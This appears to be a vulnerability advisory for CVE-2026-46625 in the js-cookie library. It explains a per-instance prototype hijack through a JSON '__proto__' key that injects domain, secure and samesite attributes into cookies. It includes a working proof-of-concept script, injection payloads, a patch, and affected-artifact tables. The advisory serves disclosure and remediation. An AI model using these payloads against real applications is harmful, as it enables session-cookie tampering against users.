CVE-2026-46625
JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection
Description
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
// src/assign.mjs — full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}
Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie
PoC
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);
Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}
Equivalent one-liner alternative - iterate own names only and filter:
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}
Affected Maven artifacts (3)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » js-cookievia npm js-cookie | < 3.0.7 | 3.0.7 |
| org.webjars » js-cookievia npm js-cookie | < 3.0.7 | 3.0.7 |
| org.webjars.npm » js-cookievia npm js-cookie | < 3.0.7 | 3.0.7 |
Blast radius
15% of the dependent artifacts (4) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 123 |
| 2 hops | 115 |
| 3 hops | 123 |
| 4 hops | 138 |
Most used dependents
- de.agilecoders.wicket » wicket-bootstrap-extensions59 usages
- org.apache.syncope.client.idrepo » syncope-client-idrepo-common-ui5 usages
- org.apache.syncope.client.idrepo » syncope-client-idrepo-console5 usages
- org.apache.syncope.client.idrepo » syncope-client-idrepo-enduser4 usages
- org.mvnpm.at.clerk » shared3 usages
- org.apache.syncope.client.idm » syncope-client-idm-console2 usages
- org.apache.syncope.ext.oidcc4ui » syncope-ext-oidcc4ui-client-common-ui2 usages
- org.apache.syncope.ext.saml2sp4ui » syncope-ext-saml2sp4ui-client-common-ui2 usages
- org.mvnpm.at.segment » analytics-next2 usages
- io.quarkus.code » code-quarkus-web-deps1 usages
- io.quarkus.code » code-quarkus0 usages
- org.apache.syncope.client.am » syncope-client-am-console0 usages
- org.apache.syncope.ext.flowable » syncope-ext-flowable-client-console0 usages
- org.apache.syncope.ext.flowable » syncope-ext-flowable-client-enduser0 usages
- org.apache.syncope.ext.oidcc4ui » syncope-ext-oidcc4ui-client-console0 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-46625 | nvd.nist.gov |
| Package | js-cookie/js-cookie | github.com |
| Web | js-cookie/js-cookie advisory GHSA-qjx8-664m-686j | github.com |
| Web | js-cookie/js-cookie commit eb3c40e | github.com |
| Web | js-cookie/js-cookie release v3.0.7 | github.com |
